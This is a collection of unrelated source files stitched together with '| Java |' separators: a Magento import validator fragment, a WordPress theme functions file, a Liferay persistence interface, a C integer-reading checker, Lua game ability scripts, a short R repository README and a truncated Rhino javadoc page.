$uniqueValues = array_unique($values);
if (count($uniqueValues) != count($values)) {
$valid = false;
$this->_addMessages([RowValidatorInterface::ERROR_DUPLICATE_MULTISELECT_VALUES]);
}
break;
case 'datetime':
$val = trim($rowData[$attrCode]);
$valid = strtotime($val) !== false;
if (!$valid) {
$this->_addMessages([RowValidatorInterface::ERROR_INVALID_ATTRIBUTE_TYPE]);
}
break;
default:
$valid = true;
break;
}
if ($valid && !empty($attrParams['is_unique'])) {
if (isset($this->_uniqueAttributes[$attrCode][$rowData[$attrCode]])
&& ($this->_uniqueAttributes[$attrCode][$rowData[$attrCode]] != $rowData[Product::COL_SKU])) {
$this->_addMessages([RowValidatorInterface::ERROR_DUPLICATE_UNIQUE_ATTRIBUTE]);
return false;
}
$this->_uniqueAttributes[$attrCode][$rowData[$attrCode]] = $rowData[Product::COL_SKU];
}
if (!$valid) {
$this->setInvalidAttribute($attrCode);
}
return (bool)$valid;
}
/**
* Set invalid attribute
*
* @param string|null $attribute
* @return void
* @since 100.1.0
*/
protected function setInvalidAttribute($attribute)
{
$this->invalidAttribute = $attribute;
}
/**
* Get invalid attribute
*
* @return string
* @since 100.1.0
*/
public function getInvalidAttribute()
{
return $this->invalidAttribute;
}
/**
* Is valid attributes
*
* @return bool
* @SuppressWarnings(PHPMD.UnusedLocalVariable)
*/
protected function isValidAttributes()
{
$this->_clearMessages();
$this->setInvalidAttribute(null);
if (!isset($this->_rowData['product_type'])) {
return false;
}
$entityTypeModel = $this->context->retrieveProductTypeByName($this->_rowData['product_type']);
if ($entityTypeModel) {
foreach ($this->_rowData as $attrCode => $attrValue) {
$attrParams = $entityTypeModel->retrieveAttributeFromCache($attrCode);
if ($attrParams) {
$this->isAttributeValid($attrCode, $attrParams, $this->_rowData);
}
}
if ($this->getMessages()) {
return false;
}
}
return true;
}
/**
* @inheritdoc
*/
public function isValid($value)
{
$this->_rowData = $value;
$this->_clearMessages();
$returnValue = $this->isValidAttributes();
foreach ($this->validators as $validator) {
if (!$validator->isValid($value)) {
$returnValue = false;
$this->_addMessages($validator->getMessages());
}
}
return $returnValue;
}
/**
* Obtain scope of the row from row data.
*
* @param array $rowData
* @return int
*/
public function getRowScope(array $rowData)
{
if (empty($rowData[Product::COL_STORE])) {
return Product::SCOPE_DEFAULT;
}
return Product::SCOPE_STORE;
}
/**
* Init
*
* @param \Magento\CatalogImportExport\Model\Import\Product $context
* @return $this
*/
public function init($context)
{
$this->context = $context;
foreach ($this->validators as $validator) {
$validator->init($context);
}
}
}
| Java |
<?php
/**
* Humescores functions and definitions.
*
* @link https://developer.wordpress.org/themes/basics/theme-functions/
*
* @package Humescores
*/
if ( ! function_exists( 'humescores_setup' ) ) :
/**
* Sets up theme defaults and registers support for various WordPress features.
*
* Note that this function is hooked into the after_setup_theme hook, which
* runs before the init hook. The init hook is too late for some features, such
* as indicating support for post thumbnails.
*/
function humescores_setup() {
/*
* Make theme available for translation.
* Translations can be filed in the /languages/ directory.
* If you're building a theme based on Humescores, use a find and replace
* to change 'humescores' to the name of your theme in all the template files.
*/
load_theme_textdomain( 'humescores', get_template_directory() . '/languages' );
// Add default posts and comments RSS feed links to head.
add_theme_support( 'automatic-feed-links' );
/*
* Let WordPress manage the document title.
* By adding theme support, we declare that this theme does not use a
* hard-coded <title> tag in the document head, and expect WordPress to
* provide it for us.
*/
add_theme_support( 'title-tag' );
/*
* Enable support for Post Thumbnails on posts and pages.
*
* @link https://developer.wordpress.org/themes/functionality/featured-images-post-thumbnails/
*/
add_theme_support( 'post-thumbnails' );
// This theme uses wp_nav_menu() in one location.
register_nav_menus( array(
'primary' => esc_html__( 'Header', 'humescores' ),
'social' => esc_html__( 'Social Media Menu', 'humescores' ),
) );
/*
* Switch default core markup for search form, comment form, and comments
* to output valid HTML5.
*/
add_theme_support( 'html5', array(
'search-form',
'comment-form',
'comment-list',
'gallery',
'caption',
) );
// Set up the WordPress core custom background feature.
add_theme_support( 'custom-background', apply_filters( 'humescores_custom_background_args', array(
'default-color' => 'ffffff',
'default-image' => '',
) ) );
// Add theme support for Custom Logo
add_theme_support( 'custom-logo', array(
'width' => 90,
'height' => 90,
'flex-width' => true,
));
}
endif;
add_action( 'after_setup_theme', 'humescores_setup' );
/**
* Register custom fonts.
*/
function humescores_fonts_url() {
$fonts_url = '';
/**
* Translators: If there are characters in your language that are not
* supported by Source Sans Pro and PT Serif, translate this to 'off'. Do not translate
* into your own language.
*/
$source_sans_pro = _x( 'on', 'Source Sans Pro font: on or off', 'humescores' );
$pt_serif = _x( 'on', 'PT Serif font: on or off', 'humescores' );
$font_families = array();
if ( 'off' !== $source_sans_pro ) {
$font_families[] = 'Source Sans Pro:400,400i,700,900';
}
if ( 'off' !== $pt_serif ) {
$font_families[] = 'PT Serif:400,400i,700,700i';
}
if ( in_array( 'on', array($source_sans_pro, $pt_serif) ) ) {
$query_args = array(
'family' => urlencode( implode( '|', $font_families ) ),
'subset' => urlencode( 'latin,latin-ext' ),
);
$fonts_url = add_query_arg( $query_args, 'https://fonts.googleapis.com/css' );
}
return esc_url_raw( $fonts_url );
}
/**
* Add preconnect for Google Fonts.
*
* @since Twenty Seventeen 1.0
*
* @param array $urls URLs to print for resource hints.
* @param string $relation_type The relation type the URLs are printed.
* @return array $urls URLs to print for resource hints.
*/
function humescores_resource_hints( $urls, $relation_type ) {
if ( wp_style_is( 'humescores-fonts', 'queue' ) && 'preconnect' === $relation_type ) {
$urls[] = array(
'href' => 'https://fonts.gstatic.com',
'crossorigin',
);
}
return $urls;
}
add_filter( 'wp_resource_hints', 'humescores_resource_hints', 10, 2 );
/**
* Set the content width in pixels, based on the theme's design and stylesheet.
*
* Priority 0 to make it available to lower priority callbacks.
*
* @global int $content_width
*/
function humescores_content_width() {
$GLOBALS['content_width'] = apply_filters( 'humescores_content_width', 640 );
}
add_action( 'after_setup_theme', 'humescores_content_width', 0 );
/**
* Register widget area.
*
* @link https://developer.wordpress.org/themes/functionality/sidebars/#registering-a-sidebar
*/
function humescores_widgets_init() {
register_sidebar( array(
'name' => esc_html__( 'Sidebar', 'humescores' ),
'id' => 'sidebar-1',
'description' => esc_html__( 'Add widgets here.', 'humescores' ),
'before_widget' => '<section id="%1$s" class="widget %2$s">',
'after_widget' => '</section>',
'before_title' => '<h2 class="widget-title">',
'after_title' => '</h2>',
) );
}
add_action( 'widgets_init', 'humescores_widgets_init' );
/**
* Enqueue scripts and styles.
*/
function humescores_scripts() {
// Enqueue Google Fonts: Source Sans Pro and PT Serif
wp_enqueue_style( 'humescores-fonts', humescores_fonts_url() );
wp_enqueue_style( 'humescores-style', get_stylesheet_uri() );
wp_enqueue_script( 'humescores-navigation', get_template_directory_uri() . '/js/navigation.js', array('jquery'), '20151215', true );
wp_localize_script( 'humescores-navigation', 'humescoresScreenReaderText', array(
'expand' => __( 'Expand child menu', 'humescores'),
'collapse' => __( 'Collapse child menu', 'humescores'),
));
wp_enqueue_script( 'humescores-skip-link-focus-fix', get_template_directory_uri() . '/js/skip-link-focus-fix.js', array(), '20151215', true );
if ( is_singular() && comments_open() && get_option( 'thread_comments' ) ) {
wp_enqueue_script( 'comment-reply' );
}
}
add_action( 'wp_enqueue_scripts', 'humescores_scripts' );
/**
* Implement the Custom Header feature.
*/
require get_template_directory() . '/inc/custom-header.php';
/**
* Custom template tags for this theme.
*/
require get_template_directory() . '/inc/template-tags.php';
/**
* Custom functions that act independently of the theme templates.
*/
require get_template_directory() . '/inc/extras.php';
/**
* Customizer additions.
*/
require get_template_directory() . '/inc/customizer.php';
/**
* Load Jetpack compatibility file.
*/
require get_template_directory() . '/inc/jetpack.php';
| Java |
/**
* Copyright (c) 2000-2012 Liferay, Inc. All rights reserved.
*
* This library is free software; you can redistribute it and/or modify it under
* the terms of the GNU Lesser General Public License as published by the Free
* Software Foundation; either version 2.1 of the License, or (at your option)
* any later version.
*
* This library is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more
* details.
*/
package com.iucn.whp.dbservice.service.persistence;
import com.iucn.whp.dbservice.model.benefit_rating_lkp;
import com.liferay.portal.service.persistence.BasePersistence;
/**
* The persistence interface for the benefit_rating_lkp service.
*
* <p>
* Caching information and settings can be found in <code>portal.properties</code>
* </p>
*
* @author alok.sen
* @see benefit_rating_lkpPersistenceImpl
* @see benefit_rating_lkpUtil
* @generated
*/
public interface benefit_rating_lkpPersistence extends BasePersistence<benefit_rating_lkp> {
/*
* NOTE FOR DEVELOPERS:
*
* Never modify or reference this interface directly. Always use {@link benefit_rating_lkpUtil} to access the benefit_rating_lkp persistence. Modify <code>service.xml</code> and rerun ServiceBuilder to regenerate this interface.
*/
/**
* Caches the benefit_rating_lkp in the entity cache if it is enabled.
*
* @param benefit_rating_lkp the benefit_rating_lkp
*/
public void cacheResult(
com.iucn.whp.dbservice.model.benefit_rating_lkp benefit_rating_lkp);
/**
* Caches the benefit_rating_lkps in the entity cache if it is enabled.
*
* @param benefit_rating_lkps the benefit_rating_lkps
*/
public void cacheResult(
java.util.List<com.iucn.whp.dbservice.model.benefit_rating_lkp> benefit_rating_lkps);
/**
* Creates a new benefit_rating_lkp with the primary key. Does not add the benefit_rating_lkp to the database.
*
* @param id the primary key for the new benefit_rating_lkp
* @return the new benefit_rating_lkp
*/
public com.iucn.whp.dbservice.model.benefit_rating_lkp create(long id);
/**
* Removes the benefit_rating_lkp with the primary key from the database. Also notifies the appropriate model listeners.
*
* @param id the primary key of the benefit_rating_lkp
* @return the benefit_rating_lkp that was removed
* @throws com.iucn.whp.dbservice.NoSuchbenefit_rating_lkpException if a benefit_rating_lkp with the primary key could not be found
* @throws SystemException if a system exception occurred
*/
public com.iucn.whp.dbservice.model.benefit_rating_lkp remove(long id)
throws com.iucn.whp.dbservice.NoSuchbenefit_rating_lkpException,
com.liferay.portal.kernel.exception.SystemException;
public com.iucn.whp.dbservice.model.benefit_rating_lkp updateImpl(
com.iucn.whp.dbservice.model.benefit_rating_lkp benefit_rating_lkp,
boolean merge)
throws com.liferay.portal.kernel.exception.SystemException;
/**
* Returns the benefit_rating_lkp with the primary key or throws a {@link com.iucn.whp.dbservice.NoSuchbenefit_rating_lkpException} if it could not be found.
*
* @param id the primary key of the benefit_rating_lkp
* @return the benefit_rating_lkp
* @throws com.iucn.whp.dbservice.NoSuchbenefit_rating_lkpException if a benefit_rating_lkp with the primary key could not be found
* @throws SystemException if a system exception occurred
*/
public com.iucn.whp.dbservice.model.benefit_rating_lkp findByPrimaryKey(
long id)
throws com.iucn.whp.dbservice.NoSuchbenefit_rating_lkpException,
com.liferay.portal.kernel.exception.SystemException;
/**
* Returns the benefit_rating_lkp with the primary key or returns <code>null</code> if it could not be found.
*
* @param id the primary key of the benefit_rating_lkp
* @return the benefit_rating_lkp, or <code>null</code> if a benefit_rating_lkp with the primary key could not be found
* @throws SystemException if a system exception occurred
*/
public com.iucn.whp.dbservice.model.benefit_rating_lkp fetchByPrimaryKey(
long id) throws com.liferay.portal.kernel.exception.SystemException;
/**
* Returns all the benefit_rating_lkps.
*
* @return the benefit_rating_lkps
* @throws SystemException if a system exception occurred
*/
public java.util.List<com.iucn.whp.dbservice.model.benefit_rating_lkp> findAll()
throws com.liferay.portal.kernel.exception.SystemException;
/**
* Returns a range of all the benefit_rating_lkps.
*
* <p>
* Useful when paginating results. Returns a maximum of <code>end - start</code> instances. <code>start</code> and <code>end</code> are not primary keys, they are indexes in the result set. Thus, <code>0</code> refers to the first result in the set. Setting both <code>start</code> and <code>end</code> to {@link com.liferay.portal.kernel.dao.orm.QueryUtil#ALL_POS} will return the full result set.
* </p>
*
* @param start the lower bound of the range of benefit_rating_lkps
* @param end the upper bound of the range of benefit_rating_lkps (not inclusive)
* @return the range of benefit_rating_lkps
* @throws SystemException if a system exception occurred
*/
public java.util.List<com.iucn.whp.dbservice.model.benefit_rating_lkp> findAll(
int start, int end)
throws com.liferay.portal.kernel.exception.SystemException;
/**
* Returns an ordered range of all the benefit_rating_lkps.
*
* <p>
* Useful when paginating results. Returns a maximum of <code>end - start</code> instances. <code>start</code> and <code>end</code> are not primary keys, they are indexes in the result set. Thus, <code>0</code> refers to the first result in the set. Setting both <code>start</code> and <code>end</code> to {@link com.liferay.portal.kernel.dao.orm.QueryUtil#ALL_POS} will return the full result set.
* </p>
*
* @param start the lower bound of the range of benefit_rating_lkps
* @param end the upper bound of the range of benefit_rating_lkps (not inclusive)
* @param orderByComparator the comparator to order the results by (optionally <code>null</code>)
* @return the ordered range of benefit_rating_lkps
* @throws SystemException if a system exception occurred
*/
public java.util.List<com.iucn.whp.dbservice.model.benefit_rating_lkp> findAll(
int start, int end,
com.liferay.portal.kernel.util.OrderByComparator orderByComparator)
throws com.liferay.portal.kernel.exception.SystemException;
/**
* Removes all the benefit_rating_lkps from the database.
*
* @throws SystemException if a system exception occurred
*/
public void removeAll()
throws com.liferay.portal.kernel.exception.SystemException;
/**
* Returns the number of benefit_rating_lkps.
*
* @return the number of benefit_rating_lkps
* @throws SystemException if a system exception occurred
*/
public int countAll()
throws com.liferay.portal.kernel.exception.SystemException;
} | Java |
/* -*- mode: c -*- */
/* $Id$ */
/* Copyright (C) 2004-2013 Alexander Chernov <cher@ejudge.ru> */
/*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*/
#include "checker_internal.h"
#include <errno.h>
#include "l10n_impl.h"
int
checker_read_int(
int ind,
const char *name,
int eof_error_flag,
int *p_val)
{
int x;
char sb[128], *db = 0, *vb = 0, *ep = 0;
size_t ds = 0;
if (!name) name = "";
vb = checker_read_buf_2(ind, name, eof_error_flag, sb, sizeof(sb), &db, &ds);
if (!vb) return -1;
if (!*vb) {
fatal_read(ind, _("%s: no int32 value"), name);
}
errno = 0;
x = strtol(vb, &ep, 10);
if (*ep) {
fatal_read(ind, _("%s: cannot parse int32 value"), name);
}
if (errno) {
fatal_read(ind, _("%s: int32 value is out of range"), name);
}
*p_val = x;
return 1;
}
| Java |
require("libraries/timers")
function LifeSteal( keys )
local caster = keys.caster
local ability = keys.ability
local ability_level = ability:GetLevel() - 1
local cooldown = ability:GetCooldown(ability_level)
if ability:IsCooldownReady() then
ability:StartCooldown(cooldown)
caster:EmitSound("Hero_LifeStealer.OpenWounds.Cast")
caster:Heal(caster:GetAttackDamage() * ability:GetSpecialValueFor("lifesteal") / 100, caster)
SendOverheadEventMessage(nil, OVERHEAD_ALERT_HEAL, caster, caster:GetAttackDamage() * ability:GetSpecialValueFor("lifesteal") / 100, nil)
local lifesteal_pfx = ParticleManager:CreateParticle("particles/generic_gameplay/generic_lifesteal.vpcf", PATTACH_ABSORIGIN_FOLLOW, caster)
ParticleManager:SetParticleControl(lifesteal_pfx, 0, caster:GetAbsOrigin())
ParticleManager:ReleaseParticleIndex(lifesteal_pfx)
end
end
function KoboldArmy( keys )
local caster = keys.caster
local player = caster:GetPlayerOwnerID()
local ability = keys.ability
local unit_name = caster:GetUnitName()
local kobold_count = ability:GetLevelSpecialValueFor("kobold_count", (ability:GetLevel() - 1))
local duration = ability:GetLevelSpecialValueFor("duration", (ability:GetLevel() - 1))
local casterOrigin = caster:GetAbsOrigin()
local casterAngles = caster:GetAngles()
-- Stop any actions of the caster otherwise its obvious which unit is real
caster:Stop()
-- Initialize the illusion table to keep track of the units created by the spell
if not caster.kobold_super_illusions then
caster.kobold_super_illusions = {}
end
-- Kill the old images
for k,v in pairs(caster.kobold_super_illusions) do
if v and IsValidEntity(v) then
v:ForceKill(false)
end
end
-- Start a clean illusion table
caster.kobold_super_illusions = {}
-- Setup a table of potential spawn positions
local vRandomSpawnPos = {
Vector( 72, 0, 0 ), -- North
Vector( 0, 72, 0 ), -- East
Vector( -72, 0, 0 ), -- South
Vector( 72, -72, 0 ), -- West
Vector( -72, -72, 0 ), -- West
Vector( -72, 0, 72 ), -- West
}
for i = #vRandomSpawnPos, 2, -1 do -- Simply shuffle them
local j = RandomInt( 1, i )
vRandomSpawnPos[i], vRandomSpawnPos[j] = vRandomSpawnPos[j], vRandomSpawnPos[i]
end
-- Insert the center position and make sure that at least one of the units will be spawned on there.
table.insert( vRandomSpawnPos, RandomInt( 1, kobold_count ), Vector( 0, 0, 0 ) )
-- At first, move the main hero to one of the random spawn positions.
FindClearSpaceForUnit( caster, casterOrigin + table.remove( vRandomSpawnPos, 1 ), true )
-- Spawn illusions
for i = 1, kobold_count do
local origin = casterOrigin + table.remove( vRandomSpawnPos, 1 )
-- handle_UnitOwner needs to be nil, else it will crash the game.
local double = CreateUnitByName(unit_name, origin, true, caster, nil, caster:GetTeamNumber())
double:SetOwner(caster)
double:SetControllableByPlayer(player, true)
double:SetAngles( casterAngles.x, casterAngles.y, casterAngles.z )
local double_particle = ParticleManager:CreateParticle("particles/units/heroes/hero_arc_warden/arc_warden_tempest_buff.vpcf", PATTACH_CUSTOMORIGIN, double)
ParticleManager:SetParticleControl(double_particle, 0, double:GetAbsOrigin())
ParticleManager:SetParticleControl(double_particle, 1, double:GetAbsOrigin())
ParticleManager:SetParticleControl(double_particle, 2, double:GetAbsOrigin())
-- Level Up the unit to the casters level
local casterLevel = caster:GetLevel()
for i=1,casterLevel-1 do
double:HeroLevelUp(false)
end
double:SetBaseStrength(caster:GetBaseStrength())
double:SetBaseIntellect(caster:GetBaseIntellect())
double:SetBaseAgility(caster:GetBaseAgility())
double:SetMaximumGoldBounty(0)
double:SetMinimumGoldBounty(0)
double:SetDeathXP(0)
double:SetAbilityPoints(0)
double:SetHasInventory(true)
double:SetCanSellItems(false)
Timers:CreateTimer(duration - 0.1, function()
UTIL_Remove(double)
end)
-- Useless since they are removed before, just shows duration of the illusions
ability:ApplyDataDrivenModifier(caster, double, "modifier_kill", {duration = duration})
-- Learn the skills of the caster
for abilitySlot = 0, 15 do
local ability = caster:GetAbilityByIndex(abilitySlot)
if ability then
local abilityLevel = ability:GetLevel()
local abilityName = ability:GetAbilityName()
local doubleAbility = double:FindAbilityByName(abilityName)
if IsValidEntity(doubleAbility) then
doubleAbility:SetLevel(abilityLevel)
end
if ability:GetName() == "holdout_kobold_army" then
doubleAbility:SetActivated(false)
double:RemoveModifierByName("modifier_reincarnation")
double:SetRespawnsDisabled(true)
end
end
end
-- Recreate the items of the caster
for itemSlot = 0, 5 do
local item = caster:GetItemInSlot(itemSlot)
if item and item:GetName() ~= "item_ankh_of_reincarnation" and item:GetName() ~= "item_shield_of_invincibility" and item:GetName() ~= "item_xhs_cloak_of_flames" and item:GetName() ~= "item_orb_of_fire" and item:GetName() ~= "item_orb_of_fire2" and item:GetName() ~= "item_searing_blade" then
local newItem = CreateItem(item:GetName(), double, double)
double:AddItem(newItem)
end
end
-- Set the illusion hp to be the same as the caster
double:SetHealth(caster:GetHealth())
double:SetMana(caster:GetMana())
double:SetPlayerID(caster:GetPlayerOwnerID())
-- Add the illusion created to a table within the caster handle, to remove the illusions on the next cast if necessary
table.insert(caster.kobold_super_illusions, double)
end
end
| Java |
NIS_pathway_level_models
========================
This repository contains R code associated with 'Predicting non-indigenous species establishment with pathway-level models that combine propagule pressure, environmental tolerance and trait data' published in the Journal of Applied Ecology
| Java |
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<!--NewPage-->
<HTML>
<HEAD>
<!-- Generated by javadoc (build 1.6.0_11) on Sun Mar 22 14:32:31 EDT 2009 -->
<TITLE>
RhinoException (Rhino)
</TITLE>
<META NAME="date" CONTENT="2009-03-22">
<LINK REL ="stylesheet" TYPE="text/css" HREF="../../../stylesheet.css" TITLE="Style">
<SCRIPT type="text/javascript">
function windowTitle()
{
if (location.href.indexOf('is-external=true') == -1) {
parent.document.title="RhinoException (Rhino)";
}
}
</SCRIPT>
<NOSCRIPT>
</NOSCRIPT>
</HEAD>
<BODY BGCOLOR="white" onload="windowTitle();">
<HR>
<!-- ========= START OF TOP NAVBAR ======= -->
<A NAME="navbar_top"><!-- --></A>
<A HREF="#skip-navbar_top" title="Skip navigation links"></A>
<TABLE BORDER="0" WIDTH="100%" CELLPADDING="1" CELLSPACING="0" SUMMARY="">
<TR>
<TD COLSPAN=2 BGCOLOR="#EEEEFF" CLASS="NavBarCell1">
<A NAME="navbar_top_firstrow"><!-- --></A>
<TABLE BORDER="0" CELLPADDING="0" CELLSPACING="3" SUMMARY="">
<TR ALIGN="center" VALIGN="top">
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../overview-summary.html"><FONT CLASS="NavBarFont1"><B>Overview</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="package-summary.html"><FONT CLASS="NavBarFont1"><B>Package</B></FONT></A> </TD>
<TD BGCOLOR="#FFFFFF" CLASS="NavBarCell1Rev"> <FONT CLASS="NavBarFont1Rev"><B>Class</B></FONT> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="package-tree.html"><FONT CLASS="NavBarFont1"><B>Tree</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../deprecated-list.html"><FONT CLASS="NavBarFont1"><B>Deprecated</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../index-all.html"><FONT CLASS="NavBarFont1"><B>Index</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../help-doc.html"><FONT CLASS="NavBarFont1"><B>Help</B></FONT></A> </TD>
</TR>
</TABLE>
</TD>
<TD ALIGN="right" VALIGN="top" ROWSPAN=3><EM>
</EM>
</TD>
</TR>
<TR>
<TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2">
<A HREF="../../../org/mozilla/javascript/RefCallable.html" title="interface in org.mozilla.javascript"><B>PREV CLASS</B></A>
<A HREF="../../../org/mozilla/javascript/Script.html" title="interface in org.mozilla.javascript"><B>NEXT CLASS</B></A></FONT></TD>
<TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2">
<A HREF="../../../index.html?org/mozilla/javascript/RhinoException.html" target="_top"><B>FRAMES</B></A>
<A HREF="RhinoException.html" target="_top"><B>NO FRAMES</B></A>
<SCRIPT type="text/javascript">
<!--
if(window==top) {
document.writeln('<A HREF="../../../allclasses-noframe.html"><B>All Classes</B></A>');
}
//-->
</SCRIPT>
<NOSCRIPT>
<A HREF="../../../allclasses-noframe.html"><B>All Classes</B></A>
</NOSCRIPT>
</FONT></TD>
</TR>
<TR>
<TD VALIGN="top" CLASS="NavBarCell3"><FONT SIZE="-2">
SUMMARY: NESTED | FIELD | CONSTR | <A HREF="#method_summary">METHOD</A></FONT></TD>
<TD VALIGN="top" CLASS="NavBarCell3"><FONT SIZE="-2">
DETAIL: FIELD | CONSTR | <A HREF="#method_detail">METHOD</A></FONT></TD>
</TR>
</TABLE>
<A NAME="skip-navbar_top"></A>
<!-- ========= END OF TOP NAVBAR ========= -->
<HR>
<!-- ======== START OF CLASS DATA ======== -->
<H2>
<FONT SIZE="-1">
org.mozilla.javascript</FONT>
<BR>
Class RhinoException</H2>
<PRE>
java.lang.Object
<IMG SRC="../../../resources/inherit.gif" ALT="extended by ">java.lang.Throwable
<IMG SRC="../../../resources/inherit.gif" ALT="extended by ">java.lang.Exception
<IMG SRC="../../../resources/inherit.gif" ALT="extended by ">java.lang.RuntimeException
<IMG SRC="../../../resources/inherit.gif" ALT="extended by "><B>org.mozilla.javascript.RhinoException</B>
</PRE>
<DL>
<DT><B>All Implemented Interfaces:</B> <DD>java.io.Serializable</DD>
</DL>
<DL>
<DT><B>Direct Known Subclasses:</B> <DD><A HREF="../../../org/mozilla/javascript/EcmaError.html" title="class in org.mozilla.javascript">EcmaError</A>, <A HREF="../../../org/mozilla/javascript/EvaluatorException.html" title="class in org.mozilla.javascript">EvaluatorException</A>, <A HREF="../../../org/mozilla/javascript/JavaScriptException.html" title="class in org.mozilla.javascript">JavaScriptException</A></DD>
</DL>
<HR>
<DL>
<DT><PRE>public abstract class <B>RhinoException</B><DT>extends java.lang.RuntimeException</DL>
</PRE>
<P>
The class of exceptions thrown by the JavaScript engine.
<P>
<P>
<DL>
<DT><B>See Also:</B><DD><A HREF="../../../serialized-form.html#org.mozilla.javascript.RhinoException">Serialized Form</A></DL>
<HR>
<P>
<!-- ========== METHOD SUMMARY =========== -->
<A NAME="method_summary"><!-- --></A>
<TABLE BORDER="1" WIDTH="100%" CELLPADDING="3" CELLSPACING="0" SUMMARY="">
<TR BGCOLOR="#CCCCFF" CLASS="TableHeadingColor">
<TH ALIGN="left" COLSPAN="2"><FONT SIZE="+2">
<B>Method Summary</B></FONT></TH>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1">
<CODE> int</CODE></FONT></TD>
<TD><CODE><B><A HREF="../../../org/mozilla/javascript/RhinoException.html#columnNumber()">columnNumber</A></B>()</CODE>
<BR>
The column number of the location of the error, or zero if unknown.</TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1">
<CODE> java.lang.String</CODE></FONT></TD>
<TD><CODE><B><A HREF="../../../org/mozilla/javascript/RhinoException.html#details()">details</A></B>()</CODE>
<BR>
</TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1">
<CODE> java.lang.String</CODE></FONT></TD>
<TD><CODE><B><A HREF="../../../org/mozilla/javascript/RhinoException.html#getMessage()">getMessage</A></B>()</CODE>
<BR>
</TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1">
<CODE> java.lang.String</CODE></FONT></TD>
<TD><CODE><B><A HREF="../../../org/mozilla/javascript/RhinoException.html#getScriptStackTrace()">getScriptStackTrace</A></B>()</CODE>
<BR>
Get a string representing the script stack of this exception.</TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1">
<CODE> java.lang.String</CODE></FONT></TD>
<TD><CODE><B><A HREF="../../../org/mozilla/javascript/RhinoException.html#getScriptStackTrace(java.io.FilenameFilter)">getScriptStackTrace</A></B>(java.io.FilenameFilter filter)</CODE>
<BR>
Get a string representing the script stack of this exception.</TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1">
<CODE> void</CODE></FONT></TD>
<TD><CODE><B><A HREF="../../../org/mozilla/javascript/RhinoException.html#initColumnNumber(int)">initColumnNumber</A></B>(int columnNumber)</CODE>
<BR>
Initialize the column number of the script statement causing the error.</TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1">
<CODE> void</CODE></FONT></TD>
<TD><CODE><B><A HREF="../../../org/mozilla/javascript/RhinoException.html#initLineNumber(int)">initLineNumber</A></B>(int lineNumber)</CODE>
<BR>
Initialize the line number of the script statement causing the error.</TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1">
<CODE> void</CODE></FONT></TD>
<TD><CODE><B><A HREF="../../../org/mozilla/javascript/RhinoException.html#initLineSource(java.lang.String)">initLineSource</A></B>(java.lang.String lineSource)</CODE>
<BR>
Initialize the text of the source line containing the error.</TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1">
<CODE> void</CODE></FONT></TD>
<TD><CODE><B><A HREF="../../../org/mozilla/javascript/RhinoException.html#initSourceName(java.lang.String)">initSourceName</A></B>(java.lang.String sourceName)</CODE>
<BR>
Initialize the uri of the script source containing the error.</TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1">
<CODE> int</CODE></FONT></TD>
<TD><CODE><B><A HREF="../../../org/mozilla/javascript/RhinoException.html#lineNumber()">lineNumber</A></B>()</CODE>
<BR>
Returns the line number of the statement causing the error,
or zero if not available.</TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1">
<CODE> java.lang.String</CODE></FONT></TD>
<TD><CODE><B><A HREF="../../../org/mozilla/javascript/RhinoException.html#lineSource()">lineSource</A></B>()</CODE>
<BR>
The source text of the line causing the error, or null if unknown.</TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1">
<CODE> void</CODE></FONT></TD>
<TD><CODE><B><A HREF="../../../org/mozilla/javascript/RhinoException.html#printStackTrace(java.io.PrintStream)">printStackTrace</A></B>(java.io.PrintStream s)</CODE>
<BR>
</TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1">
<CODE> void</CODE></FONT></TD>
